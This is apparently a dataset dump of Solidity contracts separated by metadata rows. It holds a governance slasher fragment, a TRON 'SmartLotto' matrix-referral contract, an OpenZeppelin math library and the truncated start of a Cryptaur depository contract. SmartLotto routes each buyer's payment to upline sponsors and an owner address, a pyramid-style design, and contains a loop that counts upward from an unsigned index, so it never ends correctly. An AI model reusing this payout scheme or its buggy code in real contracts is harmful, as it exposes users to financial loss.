require(registryAddress != address(0), "Cannot register the null address");
registry = IRegistry(registryAddress);
emit RegistrySet(registryAddress);
}
function getAccounts() internal view returns (IAccounts) {
return IAccounts(registry.getAddressForOrDie(ACCOUNTS_REGISTRY_ID));
}
function getAttestations() internal view returns (IAttestations) {
return IAttestations(registry.getAddressForOrDie(ATTESTATIONS_REGISTRY_ID));
}
function getElection() internal view returns (IElection) {
return IElection(registry.getAddressForOrDie(ELECTION_REGISTRY_ID));
}
function getExchange() internal view returns (IExchange) {
return IExchange(registry.getAddressForOrDie(EXCHANGE_REGISTRY_ID));
}
function getFeeCurrencyWhitelistRegistry() internal view returns (IFeeCurrencyWhitelist) {
return IFeeCurrencyWhitelist(registry.getAddressForOrDie(FEE_CURRENCY_WHITELIST_REGISTRY_ID));
}
function getFreezer() internal view returns (IFreezer) {
return IFreezer(registry.getAddressForOrDie(FREEZER_REGISTRY_ID));
}
function getGoldToken() internal view returns (IERC20) {
return IERC20(registry.getAddressForOrDie(GOLD_TOKEN_REGISTRY_ID));
}
function getGovernance() internal view returns (IGovernance) {
return IGovernance(registry.getAddressForOrDie(GOVERNANCE_REGISTRY_ID));
}
function getLockedGold() internal view returns (ILockedGold) {
return ILockedGold(registry.getAddressForOrDie(LOCKED_GOLD_REGISTRY_ID));
}
function getRandom() internal view returns (IRandom) {
return IRandom(registry.getAddressForOrDie(RANDOM_REGISTRY_ID));
}
function getReserve() internal view returns (IReserve) {
return IReserve(registry.getAddressForOrDie(RESERVE_REGISTRY_ID));
}
function getSortedOracles() internal view returns (ISortedOracles) {
return ISortedOracles(registry.getAddressForOrDie(SORTED_ORACLES_REGISTRY_ID));
}
function getStableToken() internal view returns (IStableToken) {
return IStableToken(registry.getAddressForOrDie(STABLE_TOKEN_REGISTRY_ID));
}
function getValidators() internal view returns (IValidators) {
return IValidators(registry.getAddressForOrDie(VALIDATORS_REGISTRY_ID));
}
}
contract GovernanceSlasher is Ownable, Initializable, UsingRegistry {
using SafeMath for uint256;
mapping(address => uint256) slashed;
event SlashingApproved(address indexed account, uint256 amount);
event GovernanceSlashPerformed(address indexed account, uint256 amount);
function initialize(address registryAddress) external initializer {
_transferOwnership(msg.sender);
setRegistry(registryAddress);
}
function approveSlashing(address account, uint256 penalty) external onlyOwner {
slashed[account] = slashed[account].add(penalty);
emit SlashingApproved(account, penalty);
}
function getApprovedSlashing(address account) external view returns (uint256) {
return slashed[account];
}
function slash(address account,
address[] calldata electionLessers,
address[] calldata electionGreaters,
uint256[] calldata electionIndices) external returns (bool) {
uint256 penalty = slashed[account];
require(penalty > 0, "No penalty given by governance");
slashed[account] = 0;
getLockedGold().slash(account,
penalty,
address(0),
0,
electionLessers,
electionGreaters,
electionIndices);
emit GovernanceSlashPerformed(account, penalty);
return true;
}
}
| 269,237 | 13,287 |
8af54a13499b1a98c70a2cc45b948d1200468f8f770c3c5a5d2daefd906b77d6
| 20,245 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TT/TTAUBCt1Spv1e9mSXHZe27PxScF6xado7y_SmartLotto.sol
| 5,598 | 19,763 |
//SourceUnit: SmartLotto.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.10;
contract CareerPlan {
function addToBalance() external payable;
function addUserToLevel(address _user, uint _id, uint8 _level) external;
}
contract Lotto {
function addUser(address user) external;
function addToRaffle() external payable;
}
contract SmartLotto {
event SignUpEvent(address indexed _newUser, uint indexed _userId, address indexed _sponsor, uint _sponsorId);
event NewUserChildEvent(address indexed _user, address indexed _sponsor, uint8 _box, bool _isSmartDirect, uint8 _position);
event ReinvestBoxEvent(address indexed _user, address indexed currentSponsor, address indexed addrCaller, uint8 _box, bool _isSmartDirect);
event MissedEvent(address indexed _from, address indexed _to, uint8 _box, bool _isSmartDirect);
event SentExtraEvent(address indexed _from, address indexed _to, uint8 _box, bool _isSmartDirect);
event UpgradeStatusEvent(address indexed _user, address indexed _sponsor, uint8 _box, bool _isSmartDirect);
struct SmartTeamBox {
bool purchased;
bool inactive;
uint reinvests;
address closedAddr;
address[] firstLevelChilds;
address[] secondLevelChilds;
address currentSponsor;
uint partnersCount;
}
struct SmartDirectBox {
bool purchased;
bool inactive;
uint reinvests;
address[] childs;
address currentSponsor;
uint partnersCount;
}
struct User {
uint id;
uint partnersCount;
mapping(uint8=>SmartDirectBox) directBoxes;
mapping(uint8=>SmartTeamBox) teamBoxes;
address sponsor;
uint8 levelCareerPlan;
bool activeInLottery;
}
uint nextId = 1;
address externalAddress;
address externalFeeAddress;
address rootAddress;
mapping(address=>User) public users;
mapping(uint=>address) public idLookup;
CareerPlan careerPlan;
struct PlanRequirements {
uint purchasedBoxes;
uint countReferrers;
}
mapping(uint8 => PlanRequirements) levelRequirements;
Lotto lottery;
struct Distribution {
uint user;
uint lotto;
uint careerPlan;
uint owner;
uint fee;
}
mapping(uint8 => Distribution) boxDistribution;
mapping(uint8 => uint) public boxesValues;
modifier validSponsor(address _sponsor) {
require(users[_sponsor].id != 0, "This sponsor does not exists");
_;
}
modifier onlyUser() {
require(users[msg.sender].id != 0, "This user does not exists");
_;
}
modifier validNewUser(address _newUser) {
uint32 size;
assembly {
size := extcodesize(_newUser)
}
require(size == 0, "The new user cannot be a contract");
require(users[_newUser].id == 0, "This user already exists");
_;
}
modifier validBox(uint _box) {
require(_box >= 1 && _box <= 14, "Invalid box");
_;
}
constructor(address _externalAddress, address _careerPlanAddress,
address _lotteryAddress, address _externalFeeAddress, address _rootAddress) public {
externalAddress = _externalAddress;
externalFeeAddress = _externalFeeAddress;
rootAddress = _rootAddress;
lottery = Lotto(_lotteryAddress);
initializeValues();
initializeCareerPlan(_careerPlanAddress);
User storage root = users[_rootAddress];
root.id = nextId++;
idLookup[root.id] = _rootAddress;
for (uint8 i = 1; i <= 14; i++) {
root.directBoxes[i].purchased = true;
root.teamBoxes[i].purchased = true;
}
}
function initializeValues() internal {
boxesValues[1] = 250 trx;
boxesValues[2] = 500 trx;
boxesValues[3] = 1000 trx;
boxesValues[4] = 2000 trx;
boxesValues[5] = 4000 trx;
boxesValues[6] = 8000 trx;
boxesValues[7] = 16000 trx;
boxesValues[8] = 32000 trx;
boxesValues[9] = 64000 trx;
boxesValues[10] = 128000 trx;
boxesValues[11] = 256000 trx;
boxesValues[12] = 512000 trx;
boxesValues[13] = 1024000 trx;
boxesValues[14] = 2048000 trx;
boxDistribution[1] = Distribution({user: 175 trx, lotto: 52.5 trx, careerPlan: 13.5 trx, owner: 8.325 trx, fee: 0.675 trx});
boxDistribution[2] = Distribution({user: 350 trx, lotto: 105 trx, careerPlan: 27 trx, owner: 16.65 trx, fee: 1.35 trx});
boxDistribution[3] = Distribution({user: 700 trx, lotto: 210 trx, careerPlan: 54 trx, owner: 33.3 trx, fee: 2.7 trx});
boxDistribution[4] = Distribution({user: 1400 trx, lotto: 420 trx, careerPlan: 108 trx, owner: 66.6 trx, fee: 5.4 trx});
boxDistribution[5] = Distribution({user: 2800 trx, lotto: 840 trx, careerPlan: 216 trx, owner: 133.2 trx, fee: 10.8 trx});
boxDistribution[6] = Distribution({user: 5600 trx, lotto: 1680 trx, careerPlan: 432 trx, owner: 266.4 trx, fee: 21.6 trx});
boxDistribution[7] = Distribution({user: 11200 trx, lotto: 3360 trx, careerPlan: 864 trx, owner: 532.8 trx, fee: 43.2 trx});
boxDistribution[8] = Distribution({user: 22400 trx, lotto: 6720 trx, careerPlan: 1728 trx, owner: 1065.6 trx, fee: 86.4 trx});
boxDistribution[9] = Distribution({user: 44800 trx, lotto: 13440 trx, careerPlan: 3456 trx, owner: 2131.2 trx, fee: 172.8 trx});
boxDistribution[10] = Distribution({user: 89600 trx, lotto: 26880 trx, careerPlan: 6912 trx, owner: 4262.4 trx, fee: 345.6 trx});
boxDistribution[11] = Distribution({user: 179200 trx, lotto: 53760 trx, careerPlan: 13824 trx, owner: 8524.8 trx, fee: 691.2 trx});
boxDistribution[12] = Distribution({user: 358400 trx, lotto: 107520 trx, careerPlan: 27648 trx, owner: 17049.6 trx, fee: 1382.4 trx});
boxDistribution[13] = Distribution({user: 716800 trx, lotto: 215040 trx, careerPlan: 55296 trx, owner: 34099.2 trx, fee: 2764.8 trx});
boxDistribution[14] = Distribution({user: 1433600 trx, lotto: 430080 trx, careerPlan: 110592 trx, owner: 68198.4 trx, fee: 5529.6 trx});
}
function initializeCareerPlan(address _careerPlanAddress) internal {
careerPlan = CareerPlan(_careerPlanAddress);
levelRequirements[1].countReferrers = 10;
levelRequirements[1].purchasedBoxes = 3;
levelRequirements[2].countReferrers = 20;
levelRequirements[2].purchasedBoxes = 6;
levelRequirements[3].countReferrers = 30;
levelRequirements[3].purchasedBoxes = 9;
levelRequirements[4].countReferrers = 40;
levelRequirements[4].purchasedBoxes = 12;
levelRequirements[5].countReferrers = 60;
levelRequirements[5].purchasedBoxes = 14;
}
function() external payable {
if(msg.data.length == 0) return signUp(msg.sender, rootAddress);
address sponsor;
bytes memory data = msg.data;
assembly {
sponsor := mload(add(data, 20))
}
signUp(msg.sender, sponsor);
}
function signUp(address payable _newUser, address _sponsor) private validSponsor(_sponsor) validNewUser(_newUser) {
require(msg.value == 500 * 1e6, "Please enter required amount");
// user node data
User storage userNode = users[_newUser];
userNode.id = nextId++;
userNode.sponsor = _sponsor;
userNode.directBoxes[1].purchased = true;
userNode.teamBoxes[1].purchased = true;
idLookup[userNode.id] = _newUser;
users[_sponsor].partnersCount++;
users[_sponsor].directBoxes[1].partnersCount++;
users[_sponsor].teamBoxes[1].partnersCount++;
userNode.directBoxes[1].currentSponsor = _sponsor;
modifySmartDirectSponsor(_sponsor, _newUser, 1);
modifySmartTeamSponsor(_sponsor, _newUser, 1);
emit SignUpEvent(_newUser, userNode.id, _sponsor, users[_sponsor].id);
}
function signUp(address sponsor) external payable {
signUp(msg.sender, sponsor);
}
function buyNewBox(uint8 _matrix, uint8 _box) external payable onlyUser validBox(_box) {
require(_matrix == 1 || _matrix == 2, "Invalid matrix");
require(msg.value == boxesValues[_box], "Please enter required amount");
if (_matrix == 1) {
require(!users[msg.sender].directBoxes[_box].purchased, "You already bought that box");
require(users[msg.sender].directBoxes[_box - 1].purchased, "Please bought the boxes prior to this");
users[msg.sender].directBoxes[_box].purchased = true;
users[msg.sender].directBoxes[_box - 1].inactive = false;
address sponsorResult = findSponsor(msg.sender, _box, true);
users[msg.sender].directBoxes[_box].currentSponsor = sponsorResult;
modifySmartDirectSponsor(sponsorResult, msg.sender, _box);
if(users[users[msg.sender].sponsor].directBoxes[_box].purchased) {
users[users[msg.sender].sponsor].directBoxes[_box].partnersCount++;
verifyLevelOfUser(users[msg.sender].sponsor);
}
emit UpgradeStatusEvent(msg.sender, sponsorResult, _box, true);
} else {
require(!users[msg.sender].teamBoxes[_box].purchased, "You already bought that box");
require(users[msg.sender].teamBoxes[_box - 1].purchased, "Please bought the boxes prior to this");
users[msg.sender].teamBoxes[_box].purchased = true;
users[msg.sender].teamBoxes[_box - 1].inactive = false;
address sponsorResult = findSponsor(msg.sender, _box, false);
modifySmartTeamSponsor(sponsorResult, msg.sender, _box);
if(users[users[msg.sender].sponsor].teamBoxes[_box].purchased) {
users[users[msg.sender].sponsor].teamBoxes[_box].partnersCount++;
verifyLevelOfUser(users[msg.sender].sponsor);
}
emit UpgradeStatusEvent(msg.sender, sponsorResult, _box, false);
}
verifyRequirementsForLottery(msg.sender);
}
function verifyLevelOfUser(address user) internal {
if (users[user].levelCareerPlan >= 5) return;
uint8 level = users[user].levelCareerPlan + 1;
PlanRequirements memory requirements = levelRequirements[level];
for(uint8 i = 1; i <= requirements.purchasedBoxes; i++) {
if(!users[user].directBoxes[i].purchased || !users[user].teamBoxes[i].purchased) return;
if(users[user].directBoxes[i].partnersCount < requirements.countReferrers
|| users[user].teamBoxes[i].partnersCount < requirements.countReferrers) return;
}
users[user].levelCareerPlan = level;
careerPlan.addUserToLevel(user, users[user].id, level);
}
function verifyRequirementsForLottery(address user) internal {
if (users[user].activeInLottery) return;
for(uint8 i = 1; i <= 3; i++) {
if(!users[user].directBoxes[i].purchased || !users[user].teamBoxes[i].purchased)
return;
}
users[user].activeInLottery = true;
lottery.addUser(user);
}
function modifySmartDirectSponsor(address _sponsor, address _user, uint8 _box) private {
users[_sponsor].directBoxes[_box].childs.push(_user);
uint8 position = uint8(users[_sponsor].directBoxes[_box].childs.length);
emit NewUserChildEvent(_user, _sponsor, _box, true, position);
if (position < 3)
return applyDistribution(_user, _sponsor, _box, true);
SmartDirectBox storage directData = users[_sponsor].directBoxes[_box];
directData.childs = new address[](0);
if (!users[_sponsor].directBoxes[_box + 1].purchased && _box != 14) directData.inactive = true;
directData.reinvests++;
if (rootAddress != _sponsor) {
address sponsorResult = findSponsor(_sponsor, _box, true);
directData.currentSponsor = sponsorResult;
emit ReinvestBoxEvent(_sponsor, sponsorResult, _user, _box, true);
modifySmartDirectSponsor(sponsorResult, _sponsor, _box);
} else {
applyDistribution(_user, _sponsor, _box, true);
emit ReinvestBoxEvent(_sponsor, address(0), _user, _box, true);
}
}
function findSponsor(address _addr, uint8 _box, bool _isSmartDirect) internal view returns(address) {
User memory node = users[_addr];
bool purchased;
if (_isSmartDirect) purchased = users[node.sponsor].directBoxes[_box].purchased;
else purchased = users[node.sponsor].teamBoxes[_box].purchased;
if (purchased) return node.sponsor;
return findSponsor(node.sponsor, _box, _isSmartDirect);
}
function modifySmartTeamSponsor(address _sponsor, address _user, uint8 _box) private {
SmartTeamBox storage sponsorBoxData = users[_sponsor].teamBoxes[_box];
if (sponsorBoxData.firstLevelChilds.length < 2) {
sponsorBoxData.firstLevelChilds.push(_user);
users[_user].teamBoxes[_box].currentSponsor = _sponsor;
emit NewUserChildEvent(_user, _sponsor, _box, false, uint8(sponsorBoxData.firstLevelChilds.length));
if (_sponsor == rootAddress)
return applyDistribution(_user, _sponsor, _box, false);
address currentSponsor = sponsorBoxData.currentSponsor;
users[currentSponsor].teamBoxes[_box].secondLevelChilds.push(_user);
uint8 len = uint8(users[currentSponsor].teamBoxes[_box].firstLevelChilds.length);
for(uint8 i = len - 1; i >= 0; i++) {
if(users[currentSponsor].teamBoxes[_box].firstLevelChilds[i] == _sponsor) {
emit NewUserChildEvent(_user, currentSponsor, _box, false, uint8((2 * (i + 1)) + sponsorBoxData.firstLevelChilds.length));
break;
}
}
return modifySmartTeamSecondLevel(_user, currentSponsor, _box);
}
sponsorBoxData.secondLevelChilds.push(_user);
if (sponsorBoxData.closedAddr != address(0)) {
uint8 index;
if (sponsorBoxData.firstLevelChilds[0] == sponsorBoxData.closedAddr) {
index = 1;
}
modifySmartTeam(_sponsor, _user, _box, index);
return modifySmartTeamSecondLevel(_user, _sponsor, _box);
}
for(uint8 i = 0;i < 2;i++) {
if(sponsorBoxData.firstLevelChilds[i] == _user) {
modifySmartTeam(_sponsor, _user, _box, i^1);
return modifySmartTeamSecondLevel(_user, _sponsor, _box);
}
}
uint8 index = 1;
if (users[sponsorBoxData.firstLevelChilds[0]].teamBoxes[_box].firstLevelChilds.length <=
users[sponsorBoxData.firstLevelChilds[1]].teamBoxes[_box].firstLevelChilds.length) {
index = 0;
}
modifySmartTeam(_sponsor, _user, _box, index);
modifySmartTeamSecondLevel(_user, _sponsor, _box);
}
function modifySmartTeam(address _sponsor, address _user, uint8 _box, uint8 _index) private {
User storage userData = users[_user];
User storage sponsorData = users[_sponsor];
address chieldAddress = sponsorData.teamBoxes[_box].firstLevelChilds[_index];
User storage childData = users[chieldAddress];
childData.teamBoxes[_box].firstLevelChilds.push(_user);
uint8 length = uint8(childData.teamBoxes[_box].firstLevelChilds.length);
uint position = (2**(_index + 1)) + length;
emit NewUserChildEvent(_user, chieldAddress, _box, false, length);
emit NewUserChildEvent(_user, _sponsor, _box, false, uint8(position));
userData.teamBoxes[_box].currentSponsor = chieldAddress;
}
function modifySmartTeamSecondLevel(address _user, address _sponsor, uint8 _box) private {
User storage sponsorData = users[_sponsor];
if (sponsorData.teamBoxes[_box].secondLevelChilds.length < 4)
return applyDistribution(_user, _sponsor, _box, false);
User storage currentSponsorData = users[sponsorData.teamBoxes[_box].currentSponsor];
address[] memory childs = currentSponsorData.teamBoxes[_box].firstLevelChilds;
for(uint8 i = 0;i < childs.length;i++) {
if(childs[i] == _sponsor)
currentSponsorData.teamBoxes[_box].closedAddr = _sponsor;
}
sponsorData.teamBoxes[_box].firstLevelChilds = new address[](0);
sponsorData.teamBoxes[_box].secondLevelChilds = new address[](0);
sponsorData.teamBoxes[_box].closedAddr = address(0);
sponsorData.teamBoxes[_box].reinvests++;
if (!sponsorData.teamBoxes[_box + 1].purchased && _box != 14)
sponsorData.teamBoxes[_box].inactive = true;
if (sponsorData.id == 1) {
emit ReinvestBoxEvent(_sponsor, address(0), _user, _box, false);
return applyDistribution(_user, _sponsor, _box, false);
}
address sponsorResult = findSponsor(_sponsor, _box, false);
emit ReinvestBoxEvent(_sponsor, sponsorResult, _user, _box, false);
modifySmartTeamSponsor(sponsorResult, _sponsor, _box);
}
function applyDistribution(address _from, address _to, uint8 _box, bool _isSmartDirect) private {
(address receiver, bool haveMissed) = getReceiver(_from, _to, _box, _isSmartDirect, false);
if(!address(uint160(receiver)).send(boxDistribution[_box].user))
address(uint160(receiver)).transfer(boxDistribution[_box].user);
if(!address(uint160(externalAddress)).send(boxDistribution[_box].owner))
address(uint160(externalAddress)).transfer(boxDistribution[_box].owner);
if(!address(uint160(externalFeeAddress)).send(boxDistribution[_box].fee))
address(uint160(externalFeeAddress)).transfer(boxDistribution[_box].fee);
lottery.addToRaffle.value(boxDistribution[_box].lotto)();
careerPlan.addToBalance.value(boxDistribution[_box].careerPlan)();
if (haveMissed)
emit SentExtraEvent(_from, receiver, _box, _isSmartDirect);
}
function getReceiver(address _from, address _to, uint8 _box, bool _isSmartDirect, bool _haveMissed) private returns(address, bool) {
bool blocked;
address sponsor;
if (_isSmartDirect) {
SmartDirectBox memory directBoxData = users[_to].directBoxes[_box];
blocked = directBoxData.inactive;
sponsor = directBoxData.currentSponsor;
} else {
SmartTeamBox memory teamBoxData = users[_to].teamBoxes[_box];
blocked = teamBoxData.inactive;
sponsor = teamBoxData.currentSponsor;
}
if (!blocked) return (_to, _haveMissed);
emit MissedEvent(_from, _to, _box, _isSmartDirect);
return getReceiver(_from, sponsor, _box, _isSmartDirect, true);
}
function userSmartDirectBoxInfo(address _user, uint8 _box) public view returns(bool, bool, uint, address[] memory, address) {
SmartDirectBox memory data = users[_user].directBoxes[_box];
return (data.purchased, data.inactive, data.reinvests,
data.childs, data.currentSponsor);
}
function userSmartTeamBoxInfo(address _user, uint8 _box) public view returns(bool, bool, uint, address, address[] memory, address[] memory, address) {
SmartTeamBox memory data = users[_user].teamBoxes[_box];
return (data.purchased, data.inactive, data.reinvests, data.closedAddr,
data.firstLevelChilds, data.secondLevelChilds, data.currentSponsor);
}
function isValidUser(address _user) public view returns (bool) {
return (users[_user].id != 0);
}
}
| 287,367 | 13,288 |
d684ae61f88d564de2d0515bc6356d0972c3cf9421f185a862d30662b7e1ad21
| 12,784 |
.sol
|
Solidity
| false |
623556480
|
code-423n4/2023-04-frankencoin
|
1022cb106919fba963a89205d3b90bf62543f68f
|
contracts/test/Math.sol
| 2,466 | 8,801 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/Math.sol)
pragma solidity ^0.8.0;
library Math {
enum Rounding {
Down, // Toward negative infinity
Up, // Toward infinity
Zero // Toward zero
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a == 0 ? 0 : (a - 1) / b + 1;
}
function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
unchecked {
// 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
// variables such that product = prod1 * 2^256 + prod0.
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(x, y, not(0))
prod0 := mul(x, y)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division.
if (prod1 == 0) {
// Solidity will revert if denominator == 0, unlike the div opcode on its own.
// The surrounding unchecked block does not change this fact.
return prod0 / denominator;
}
// Make sure the result is less than 2^256. Also prevents denominator == 0.
require(denominator > prod1, "Math: mulDiv overflow");
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0].
uint256 remainder;
assembly {
// Compute remainder using mulmod.
remainder := mulmod(x, y, denominator)
// Subtract 256 bit number from 512 bit number.
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// See https://cs.stackexchange.com/q/138556/92363.
// Does not overflow because the denominator cannot be zero at this stage in the function.
uint256 twos = denominator & (~denominator + 1);
assembly {
// Divide denominator by twos.
denominator := div(denominator, twos)
// Divide [prod1 prod0] by twos.
prod0 := div(prod0, twos)
// Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
twos := add(div(sub(0, twos), twos), 1)
}
// Shift in bits from prod1 into prod0.
prod0 |= prod1 * twos;
// four bits. That is, denominator * inv = 1 mod 2^4.
uint256 inverse = (3 * denominator) ^ 2;
// in modular arithmetic, doubling the correct bits in each step.
inverse *= 2 - denominator * inverse; // inverse mod 2^8
inverse *= 2 - denominator * inverse; // inverse mod 2^16
inverse *= 2 - denominator * inverse; // inverse mod 2^32
inverse *= 2 - denominator * inverse; // inverse mod 2^64
inverse *= 2 - denominator * inverse; // inverse mod 2^128
inverse *= 2 - denominator * inverse; // inverse mod 2^256
// is no longer required.
result = prod0 * inverse;
return result;
}
}
function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
uint256 result = mulDiv(x, y, denominator);
if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
result += 1;
}
return result;
}
function sqrt(uint256 a) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
//
// `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
//
// This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
// `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
// `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
//
uint256 result = 1 << (log2(a) >> 1);
// into the expected uint128 result.
unchecked {
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
return min(result, a / result);
}
}
function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = sqrt(a);
return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);
}
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log2(value);
return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);
}
}
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10 ** 64) {
value /= 10 ** 64;
result += 64;
}
if (value >= 10 ** 32) {
value /= 10 ** 32;
result += 32;
}
if (value >= 10 ** 16) {
value /= 10 ** 16;
result += 16;
}
if (value >= 10 ** 8) {
value /= 10 ** 8;
result += 8;
}
if (value >= 10 ** 4) {
value /= 10 ** 4;
result += 4;
}
if (value >= 10 ** 2) {
value /= 10 ** 2;
result += 2;
}
if (value >= 10 ** 1) {
result += 1;
}
}
return result;
}
function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log10(value);
return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);
}
}
function log256(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 16;
}
if (value >> 64 > 0) {
value >>= 64;
result += 8;
}
if (value >> 32 > 0) {
value >>= 32;
result += 4;
}
if (value >> 16 > 0) {
value >>= 16;
result += 2;
}
if (value >> 8 > 0) {
result += 1;
}
}
return result;
}
function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log256(value);
return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);
}
}
}
| 11,488 | 13,289 |
4e3b72e80a257822ac85d2f30eaa857d9fb5912e15e1839ea8ab4a1063666d1a
| 14,779 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x1f8e87aa0d8255a503d9f009f2e41a799b98706c.sol
| 3,556 | 14,602 |
pragma solidity ^0.4.19;
contract owned {
address public owner;
address public candidate;
function owned() payable public {
owner = msg.sender;
}
modifier onlyOwner {
require(owner == msg.sender);
_;
}
function changeOwner(address _owner) onlyOwner public {
candidate = _owner;
}
function confirmOwner() public {
require(candidate == msg.sender);
owner = candidate;
delete candidate;
}
}
contract ERC20Base {
uint public totalSupply;
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
}
contract CryptaurRewards {
function payment(address _buyer, address _seller, uint _amount, address _opinionLeader) public returns(uint fee);
}
contract CryputarReserveFund {
function depositNotification(uint _amount) public;
function withdrawNotification(uint _amount) public;
}
contract AddressBook {
struct AddressRelations {
SlaveDictionary slaves;
bool hasValue;
}
struct SlaveDictionary
{
address[] values;
mapping(address => uint) keys;
}
event WalletLinked(address indexed _master, address indexed _slave);
event WalletUnlinked(address indexed _master, address indexed _slave);
event AddressChanged(address indexed _old, address indexed _new);
mapping(address => AddressRelations) private masterToSlaves;
mapping(address => address) private slaveToMasterAddress;
uint8 public maxLinkedWalletCount = 5;
function AddressBook() public {}
function getLinkedWallets(address _wallet) public view returns (address[]) {
return masterToSlaves[_wallet].slaves.values;
}
function linkToMasterWalletInternal(address _masterWallet, address _linkedWallet) internal {
require(_masterWallet != _linkedWallet && _linkedWallet != address(0));
require(isMasterWallet(_masterWallet));
require(!isLinkedWallet(_linkedWallet) && !isMasterWallet(_linkedWallet));
AddressRelations storage rel = masterToSlaves[_masterWallet];
require(rel.slaves.values.length < maxLinkedWalletCount);
rel.slaves.values.push(_linkedWallet);
rel.slaves.keys[_linkedWallet] = rel.slaves.values.length - 1;
slaveToMasterAddress[_linkedWallet] = _masterWallet;
WalletLinked(_masterWallet, _linkedWallet);
}
function unLinkFromMasterWalletInternal(address _masterWallet, address _linkedWallet) internal {
require(_masterWallet != _linkedWallet && _linkedWallet != address(0));
require(_masterWallet == getMasterWallet(_linkedWallet));
SlaveDictionary storage slaves = masterToSlaves[_masterWallet].slaves;
uint indexToDelete = slaves.keys[_linkedWallet];
address keyToMove = slaves.values[slaves.values.length - 1];
slaves.values[indexToDelete] = keyToMove;
slaves.keys[keyToMove] = indexToDelete;
slaves.values.length--;
delete slaves.keys[_linkedWallet];
delete slaveToMasterAddress[_linkedWallet];
WalletUnlinked(_masterWallet, _linkedWallet);
}
function isMasterWallet(address _addr) internal constant returns (bool) {
return masterToSlaves[_addr].hasValue;
}
function isLinkedWallet(address _addr) internal constant returns (bool) {
return slaveToMasterAddress[_addr] != address(0);
}
function applyChangeWalletAddress(address _old, address _new) internal {
require(isMasterWallet(_old) || isLinkedWallet(_old));
require(_new != address(0));
if (isMasterWallet(_old)) {
require(!isLinkedWallet(_new));
require(masterToSlaves[_new].slaves.values.length == 0);
changeMasterAddress(_old, _new);
}
else {
require(!isMasterWallet(_new) && !isLinkedWallet(_new));
changeLinkedAddress(_old, _new);
}
}
function addMasterWallet(address _master) internal {
require(_master != address(0));
masterToSlaves[_master].hasValue = true;
}
function getMasterWallet(address _wallet) internal constant returns(address) {
if(isMasterWallet(_wallet))
return _wallet;
return slaveToMasterAddress[_wallet];
}
function getOrAddMasterWallet(address _wallet) internal returns (address) {
address masterWallet = getMasterWallet(_wallet);
if (masterWallet == address(0))
addMasterWallet(_wallet);
return _wallet;
}
function changeLinkedAddress(address _old, address _new) internal {
slaveToMasterAddress[_new] = slaveToMasterAddress[_old];
SlaveDictionary storage slaves = masterToSlaves[slaveToMasterAddress[_new]].slaves;
uint index = slaves.keys[_old];
slaves.values[index] = _new;
delete slaveToMasterAddress[_old];
}
function changeMasterAddress(address _old, address _new) internal {
masterToSlaves[_new] = masterToSlaves[_old];
SlaveDictionary storage slaves = masterToSlaves[_new].slaves;
for (uint8 i = 0; i < slaves.values.length; ++i)
slaveToMasterAddress[slaves.values[i]] = _new;
delete masterToSlaves[_old];
}
}
contract CryptaurDepository is owned, AddressBook {
enum UnlimitedMode {UNLIMITED, LIMITED}
event Deposit(address indexed _who, uint _amount, bytes32 _txHash);
